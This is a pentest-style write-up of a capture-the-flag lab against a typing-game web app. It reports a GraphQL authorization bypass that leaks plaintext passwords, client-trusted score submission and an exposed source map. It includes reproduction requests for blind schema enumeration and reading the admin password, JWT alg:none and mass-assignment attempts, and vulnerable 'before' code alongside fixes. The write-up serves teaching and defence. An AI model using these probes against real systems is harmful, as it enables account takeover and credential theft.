BugForge — 2026.04.16

Sokudo: GraphQL Authorization Bypass + Plaintext Password Exposure

BugForge GraphQL Authorization Bypass easy

Part 1 — Pentest Report

Executive Summary

Sokudo is a React SPA served by an Express backend, exposing both a REST API and a GraphQL endpoint at /api/graphql. The React bundle’s source map is published at /static/js/main.8990091e.js.map, which allowed the original frontend source to be read in-browser through DevTools and the complete client-visible API surface to be inventoried without any brute-force enumeration.

Testing confirmed one critical finding, one medium finding, and one low-severity information-disclosure issue:

ID Title Severity CVSS CWE Endpoint
F1 GraphQL authorization bypass on users / user(id:) + plaintext password field exposed on User type Critical 9.1 CWE-285, CWE-200 POST /api/graphql
F2 Client-controlled metrics on session submission Medium 4.3 CWE-807 POST /api/session/submit
F3 Production source map served unauthenticated Low (informational) 3.1 CWE-540 GET /static/js/main.8990091e.js.map

F1 is flag-bearing: the admin user’s password field is returned directly by the GraphQL user(id:1) resolver to any authenticated caller, including a self-registered low-privilege account. The identical data behind the REST /api/admin/* endpoints is correctly gated — the authorization boundary is enforced on one surface and not the other.


Objective

Identify exploitable vulnerabilities in BugForge’s “Sokudo” application — a Japanese cyber-themed speed typing SPA — and capture the lab flag as proof of impact.


Scope / Initial Access

# Target Application
URL: https://lab-1776376157382-49wmge.labs-app.bugforge.io

# Auth details
POST /api/register with {username, email, password, full_name}
Returns JWT (HS256) — payload: {id, username, iat}, no exp, role NOT in token
Registered as: haxor (id: 4, role: user)

Observed JWT payload contains id, username, and iat only — no role claim. The response from GET /api/verify-token does carry a role field, so the role is returned to the client by some server-side mechanism not visible in the token itself.


Reconnaissance — Reading the Source Code

The source map main.8990091e.js.map is served without authentication alongside the bundle, so the unminified React source is readable directly in DevTools’ Sources tab. Reading it produced the REST API table below (built from the HTTP calls the frontend source code makes — no fuzzing required for the client-visible surface) and surfaced three facts that shaped the test plan:

  1. /api/admin/users and /api/admin/sessions exist. Discovered in AdminDashboard.js. These admin routes would be invisible to an external tester without the source map — a direct demonstration of why public source maps are an information-disclosure issue (F3) and not just a hygiene concern.

  2. Role does not come from the JWT. The client reads user.role from the /api/verify-token response, not the token payload. JWT tampering alone is not a privilege-escalation path.

  3. A /api/graphql endpoint exists. Any GraphQL endpoint is of interest and should be tested.


Application Architecture

Component Detail
Backend Express (Node.js) — X-Powered-By: Express
Frontend React + Material-UI — shipped with public source map (main.8990091e.js.map)
GraphQL server Unidentified (error-message format resembles Apollo Server; not confirmed)
Auth JWT HS256 — payload {id, username, iat}, no expiry, no role claim
Database SQL, snake_case columns (mixed with camelCase JSON)
Role derivation role is not present in the JWT; it is present in the /api/verify-token response body

API Surface (REST)

Endpoint Method Auth Notes
/api/register POST No Returns {token, user}role not echoed in response
/api/login POST No
/api/verify-token GET Yes Returns {user:{..., role}} — role resolved server-side
/api/session/start POST Yes Returns {text, duration}
/api/session/submit POST Yes Trusts client-sent textGenerated, userInput, timeElapsed (F2)
/api/session/history GET Yes
/api/stats GET Yes
/api/stats/leaderboard GET Yes
/api/admin/users GET Yes + role=admin Server-side role check present — returns 403 for regular users
/api/admin/sessions GET Yes + role=admin Server-side role check present
/api/graphql POST Yes Parallel surface — role check NOT enforced on users/user (F1)

Known Users (from leaderboard + GraphQL enumeration)

Username ID Role
admin 1 admin
speedtyper 2 user
learner 3 user
haxor 4 user (us)

Attack Chain Visualization (F1)

┌──────────────┐   ┌──────────────────┐   ┌──────────────────┐   ┌──────────────────┐
│   Register   │──▶│  REST /api/admin │──▶│  GraphQL blind   │──▶│  Query admin's   │
│  (haxor,     │   │  → 403 (enforced)│   │  root-field fuzz │   │  password field  │
│   id=4)      │   │  Pivot to        │   │  → users / user  │   │  → plaintext =   │
│  Get JWT     │   │  GraphQL surface │   │  resolvers leak  │   │  flag (1 request)│
│              │   │                  │   │  full user list  │   │                  │
└──────────────┘   └──────────────────┘   └──────────────────┘   └──────────────────┘

Findings

F1 — GraphQL Authorization Bypass + Plaintext Password Exposure

Severity: Critical CVSS v3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N CWE: CWE-285 (Improper Authorization), CWE-200 (Exposure of Sensitive Information) Endpoint: POST /api/graphql Authentication required: Yes (any self-registered user)

Description

The GraphQL endpoint at /api/graphql accepts users and user(id:) queries from any authenticated caller and returns the full user row, including a password field populated with a plaintext value. The REST endpoints returning equivalent data (/api/admin/users, /api/admin/sessions) correctly enforce role === 'admin' and respond with 403 Forbidden to the same JWT. The authorization outcome differs between the two surfaces for identical data.

Two defects compound into the critical impact:

  1. Authorization bypass. The GraphQL users and user(id:) resolvers do not apply the role check that the REST equivalents enforce.
  2. Password field on a public User type. The User GraphQL type exposes a selectable password field that returns a plaintext password string to the caller.

Impact

Any authenticated user, including a fresh self-registered account, can retrieve every user’s plaintext password via a single GraphQL query. Admin-account takeover is immediate.

Reproduction

Step 1 — Confirm REST admin path is gated (rules out the obvious path before pivoting)

GET /api/admin/users HTTP/1.1
Authorization: Bearer <haxor jwt>

Response: 403 Forbidden — {"error":"Admin access required"}. REST admin endpoints enforce role server-side; the client-side gate in App.js:205 is not the only barrier.

Step 2 — GraphQL introspection is blocked

POST /api/graphql
Authorization: Bearer <haxor jwt>
Content-Type: application/json

{"query":"{ __schema { queryType { name } } }"}

Response:

{"errors":[{"message":"GraphQL introspection has been disabled, but the requested query contained the field \"__schema\"."}]}

Introspection is disabled. The error output echoes the offending field name verbatim — worth noting because if that verbosity extends to concrete types, it can be used for blind schema enumeration without introspection.

Step 3 — Root field-suggestion probe

{"query":"{ xyzzyNotAField }"}

Response:

{"errors":[{"message":"Cannot query field \"xyzzyNotAField\" on type \"Query\"."}]}

No “did you mean” hints for unknown root fields. Whether the server suppresses hints only at the root or everywhere is not yet known — a typed-field probe (Step 5) will disambiguate.

Step 4 — Blind root-field enumeration

With introspection off and root suggestions suppressed, enumerate root fields with a curated wordlist of common GraphQL names. Ten queries in a single batch — me, viewer, currentUser, users, user(id:1), user(id:"1"), session(id:1), sessions, admin, flag.

Two hits:

POST /api/graphql
Authorization: Bearer <haxor jwt>

{"query":"{ users { id username role } }"}
{"data":{"users":[
  {"id":"1","username":"admin","role":"admin"},
  {"id":"2","username":"speedtyper","role":"user"},
  {"id":"3","username":"learner","role":"user"},
  {"id":"4","username":"haxor","role":"user"},
  {"id":"5","username":"haxor2","role":"user"}
]}}

user(id:1) also returns the admin user directly. The GraphQL authorization boundary is confirmed broken — any authenticated user can list every user and fetch any user by id. Admin is id=1, username=admin.

Step 5 — Enumerate User fields via typed-field error suggestions

Seeded a query against user(id:1) with a mix of educated guesses (password, api_key, flag, secret) and obviously-invalid names. The test relies on a simple asymmetry: valid fields return silently, invalid ones are named explicitly in the error list.

{
  user(id:1) {
    id
    username
    role
    email
    full_name
    password
    password_hash
    passwordHash
    token
    api_key
    apiKey
    secret
    flag
    notes
    created_at
    createdAt
    bio
    description
  }
}

Response: errors only, data: null — the server discards all data when any field in the query is invalid. The error list named each invalid field and, for several, included a “did you mean” hint pointing to a real field name close to the guess:

{"errors":[
  {"message":"Cannot query field \"password_hash\" on type \"User\". Did you mean \"password\"?"},
  {"message":"Cannot query field \"token\" on type \"User\". Did you mean \"role\"?"},
  {"message":"Cannot query field \"notes\" on type \"User\". Did you mean \"role\"?"},
  {"message":"Cannot query field \"bio\" on type \"User\". Did you mean \"id\"?"},
  ...
]}

Six fields in the query produced no error and are therefore valid:

Valid User fields (observed): id, username, role, email, full_name, password.

The presence of a selectable password field on a public User type is a schema-design defect on its own — no API caller should ever need a readable password value.

Step 6 — Exploit: read admin’s password

POST /api/graphql HTTP/1.1
Host: lab-1776376157382-49wmge.labs-app.bugforge.io
Authorization: Bearer <haxor jwt>
Content-Type: application/json

{"query":"{ user(id:1) { id username role email full_name password } }"}

Response:

{"data":{"user":{
  "id":"1",
  "username":"admin",
  "role":"admin",
  "email":"[email protected]",
  "full_name":"System Administrator",
  "password":"bug{AaNdUcRmfv0SKy4U1vjtt9MmCbjnfUYZ}"
}}}

The password field is returned as a plaintext string. The value bug{AaNdUcRmfv0SKy4U1vjtt9MmCbjnfUYZ} is the lab flag.

Remediation

Fix 1 — Apply role checks to the GraphQL resolvers for users and user(id:)

// BEFORE (Vulnerable) — GraphQL resolver
const resolvers = {
  Query: {
    users: async (_, __, { db }) => {
      return db.all('SELECT * FROM users');
    },
    user: async (_, { id }, { db }) => {
      return db.get('SELECT * FROM users WHERE id = ?', [id]);
    },
  },
};

// AFTER (Secure) — shared auth helper + per-resolver checks
const requireAdmin = (ctx) => {
  if (!ctx.user || ctx.user.role !== 'admin') {
    throw new GraphQLError('Forbidden', {
      extensions: { code: 'FORBIDDEN', http: { status: 403 } },
    });
  }
};

const resolvers = {
  Query: {
    users: async (_, __, ctx) => {
      requireAdmin(ctx);
      return ctx.db.all('SELECT id, username, role, email, full_name FROM users');
    },
    user: async (_, { id }, ctx) => {
      // Admins may query any user; regular users may only query themselves.
      if (ctx.user.role !== 'admin' && ctx.user.id !== Number(id)) {
        throw new GraphQLError('Forbidden', {
          extensions: { code: 'FORBIDDEN', http: { status: 403 } },
        });
      }
      return ctx.db.get(
        'SELECT id, username, role, email, full_name FROM users WHERE id = ?',
        [id]
      );
    },
  },
};

Fix 2 — Remove the password field from the User GraphQL type and select only safe columns

// BEFORE (Vulnerable)
// schema.graphql
type User {
  id: ID!
  username: String!
  role: String!
  email: String
  full_name: String
  password: String   // ← must not exist
}

// resolver returns DB row, which includes the password column.
user: (_, { id }, { db }) => db.get('SELECT * FROM users WHERE id = ?', [id])

// AFTER (Secure)
type User {
  id: ID!
  username: String!
  role: String!
  email: String
  full_name: String
}

// Resolver selects only safe columns explicitly — never `SELECT *`.
user: (_, { id }, { db }) =>
  db.get(
    'SELECT id, username, role, email, full_name FROM users WHERE id = ?',
    [id]
  )

Fix 3 — Store passwords as argon2 hashes, never plaintext

// BEFORE (Vulnerable) — registration handler
await db.run(
  'INSERT INTO users (username, email, password, full_name) VALUES (?,?,?,?)',
  [username, email, password, full_name]
);

// AFTER (Secure)
const passwordHash = await argon2.hash(password);
await db.run(
  'INSERT INTO users (username, email, password_hash, full_name) VALUES (?,?,?,?)',
  [username, email, passwordHash, full_name]
);
// Compare with argon2.verify(row.password_hash, submittedPassword) at login.
// No API type — GraphQL or REST — should ever expose `password_hash`.

Additional recommendations:

  • Share the authorization layer across REST and GraphQL. Wrap both in the same requireAuth / requireAdmin helpers — one source of truth for who can see what. Duplicate rules drift.
  • Add regression tests that cover both surfaces. For every admin-only REST endpoint, add a matching test on the GraphQL equivalent that asserts a non-admin receives a FORBIDDEN error.
  • Consider me { ... } + scoped admin-only user(id:) instead of a global user(id:) query. A me resolver for self-data and a scoped admin-only user(id:) makes the authorization intent obvious at the schema level.
  • Backfill existing passwords: on next login, hash the submitted password and replace the plaintext column; fail closed after a rollover window.
  • Pre-deploy schema review: every field added to a shared type like User should require explicit review — “does this need to be selectable through the API?”

F2 — Client-Controlled Metrics on Session Submission

Severity: Medium CVSS v3.1: 4.3 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N CWE: CWE-807 (Reliance on Untrusted Inputs in a Security Decision) Endpoint: POST /api/session/submit Authentication required: Yes

Description

The submit request body includes textGenerated, userInput, and timeElapsed, and the response’s wpm and accuracy values are consistent with those client-supplied inputs regardless of what /api/session/start originally issued. A client can submit arbitrary values and have them stored and returned as legitimate results.

Impact

Leaderboard and personal-best integrity are broken. Any user can post arbitrary WPM and accuracy values; competitive or ranking-based use of the application cannot be relied on.

Reproduction

POST /api/session/submit HTTP/1.1
Authorization: Bearer <haxor jwt>
Content-Type: application/json

{"duration":15,"textGenerated":"aa","userInput":"aa","timeElapsed":0.001}

Response:

{"id":3,"wpm":24000,"accuracy":100,"charsTyped":2,"correctChars":2,"message":"Session saved successfully"}

The server accepted and stored wpm=24000, accuracy=100 without validation.

Remediation

// BEFORE (Vulnerable)
router.post('/session/submit', auth, async (req, res) => {
  const { duration, textGenerated, userInput, timeElapsed } = req.body;
  const wpm = (userInput.length / 5) / (timeElapsed / 60);
  const accuracy = computeAccuracy(textGenerated, userInput);
  // ...
});

// AFTER (Secure) — server-stored session, server-computed timing
router.post('/session/start', auth, async (req, res) => {
  const text = generateText(req.body.duration);
  const session = await db.run(
    `INSERT INTO typing_sessions (user_id, text, duration, started_at)
     VALUES (?,?,?,?)`,
    [req.user.id, text, req.body.duration, Date.now()]
  );
  return res.json({ session_id: session.lastID, text, duration: req.body.duration });
});

router.post('/session/submit', auth, async (req, res) => {
  const { session_id, userInput } = req.body;
  const s = await db.get(
    'SELECT * FROM typing_sessions WHERE id = ? AND user_id = ? AND completed_at IS NULL',
    [session_id, req.user.id]
  );
  if (!s) return res.status(404).json({ error: 'Session not found' });

  const elapsedSec = (Date.now() - s.started_at) / 1000;
  // Only the server's text and its own clock are used.
  const wpm = (userInput.length / 5) / (elapsedSec / 60);
  const accuracy = computeAccuracy(s.text, userInput);

  if (wpm > 300) return res.status(400).json({ error: 'Implausible WPM' });

  await db.run(
    'UPDATE typing_sessions SET user_input=?, wpm=?, accuracy=?, completed_at=? WHERE id=?',
    [userInput, wpm, accuracy, Date.now(), session_id]
  );
  return res.json({ wpm, accuracy });
});

Additional recommendations:

  • Never trust client-supplied timing. Any duration, elapsed time, or “when did this happen” value should come from the server’s clock.
  • Bind submission to an issued session. Return a session_id (or signed token) from /session/start and require it on /session/submit. Reject reuse.
  • Add sanity bounds on derived metrics. A 300 WPM ceiling is generous (world record ~216 WPM sustained). Anything above should be rejected outright, not stored and displayed on a leaderboard.

F3 — Production Source Map Served Unauthenticated

Severity: Low (informational) CVSS v3.1: 3.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N CWE: CWE-540 (Inclusion of Sensitive Information in Source Code) Endpoint: GET /static/js/main.8990091e.js.map Authentication required: No

Description

The production React bundle main.8990091e.js ships with a matching main.8990091e.js.map at the same static path, served without authentication. The source map contains sourcesContent for every module in the build, which allows any visitor with DevTools open to browse the full unminified React source — original file structure, function and variable names, comments, hard-coded constants, and internal API shapes.

Impact

In this engagement the source map accelerated reconnaissance significantly: the complete client visible API surface and the client-side role gates were inventoried directly from DevTools without any brute-force enumeration. The admin endpoints surfaced in F1’s reproduction were discovered through source review, not through endpoint guessing. While not directly exploitable on its own, source-map disclosure removes an obstacle that minification is meant to provide and accelerates every subsequent attack on the application.

Reproduction

GET /static/js/main.8990091e.js.map HTTP/1.1
Host: lab-1776376157382-49wmge.labs-app.bugforge.io

Returns the full source map (200 OK) with sourcesContent populated. With DevTools open, the browser auto fetches the file and renders the unminified React source in the Sources tab’s webpack:// tree.

Remediation

# Create React App — in .env.production
GENERATE_SOURCEMAP=false
// Or for webpack directly:
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

Additional recommendations:

  • If source maps are required for production debugging, upload them to an error-reporting service (Sentry, Datadog, etc.) or serve them only behind authentication to known operators — never to the public internet.
  • Audit the build/ output on every deploy to confirm no .map files are present in the shipped static assets.

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: The primary finding. The GraphQL users and user(id:) queries return admin-equivalent data to any authenticated caller, while the REST endpoints returning the same data enforce a role check and respond with 403 — the authorization outcome differs between surfaces for the same data.
  • A02:2021 — Cryptographic Failures: The User GraphQL type returns a plaintext password value to the caller. Whether the storage layer is plaintext is not observable from the client; either way, the API-level behavior hands a usable credential to any path that reaches the resolver.
  • A04:2021 — Insecure Design: A password field on a public User type is a schema-design defect regardless of whether authorization is enforced at call time. Two API surfaces (REST and GraphQL) producing different authorization outcomes for identical data indicates authorization is not centralized.
  • A05:2021 — Security Misconfiguration: Production source map served unauthenticated. Introspection is disabled at the GraphQL endpoint but unknown-field errors on concrete types still return suggestions — the hardening is not applied uniformly across the endpoint’s error surface.
  • A08:2021 — Software and Data Integrity Failures: /api/session/submit returns wpm and accuracy values consistent with client-supplied textGenerated, userInput, and timeElapsed, breaking any integrity guarantee around leaderboard and personal-best data.

Tools Used

Tool Purpose
Caido HTTP proxy — request capture, replay, and scripted batches
Browser DevTools Review the unminified React source via the public source map
jwtforge JWT forging for the alg:none probe (see Failed Approaches)
jq JSON response inspection for GraphQL error parsing

References


Part 2 — Notes / Knowledge

Key Learnings

  • Parallel API surfaces must be tested independently for authorization. When the same application exposes both REST and GraphQL, “the REST endpoint is gated” is not evidence that the GraphQL equivalent is gated. This engagement showed a direct case: the REST /api/admin/users returns 403 for a low-privilege JWT while the GraphQL users query returns the full user list for the same JWT. Any authorization test plan on an app with more than one API surface should repeat the same authorization-boundary checks on every surface.

  • Disabled introspection is not a hidden schema. Server-side error messages on typed fields can name the offending field and suggest a real field close to the guess, which is sufficient to map a type one wide-field query at a time. Useful to test even when __schema queries are rejected: send a single query against a suspected concrete type with a mix of plausible and implausible field names, and read the errors.

  • Omitting role from a JWT only helps if every privileged surface re-checks it. The JWT in this app carries no role claim, which prevents direct token tampering from elevating privilege. The protection is only effective on the surfaces that perform the role check — the GraphQL resolvers for users/user(id:) do not, so the design benefit does not extend to that surface.


Failed Approaches

Approach Result Why It Failed
GET /api/admin/users with regular-user JWT 403 Forbidden REST admin endpoints enforce role server-side
Mass assignment of role:admin on POST /api/register Silently dropped Extra body fields had no observable effect on the created account
JWT alg:none for {"id":1} 403 Invalid token Unsigned tokens are not accepted
GraphQL __schema introspection errors — “introspection has been disabled” Introspection disabled at this endpoint
Field-suggestion probe at Query root ({ xyzzyNotAField }) Bare error, no suggestion No “did you mean” hints for unknown root fields (type-level suggestions were available — leveraged in F1 Step 5)
Unlinked REST endpoint fuzz (15 paths: /api/flag, /api/debug, etc.) All 200 text/html Express SPA catchall returns index.html for any unmapped path — status code is not a signal
Session-submit WPM threshold → achievement flag wpm=24000 accepted, no new field, no flag No threshold-triggered logic — but the client-trust bug itself is a real finding (F2)

Tags: #graphql #broken-access-control #authorization-bypass #plaintext-password #api-security #bugforge #webapp Document Version: 2.0 Last Updated: 2026-04-17

#graphql #broken-access-control #authorization-bypass #plaintext-password #api-security #bugforge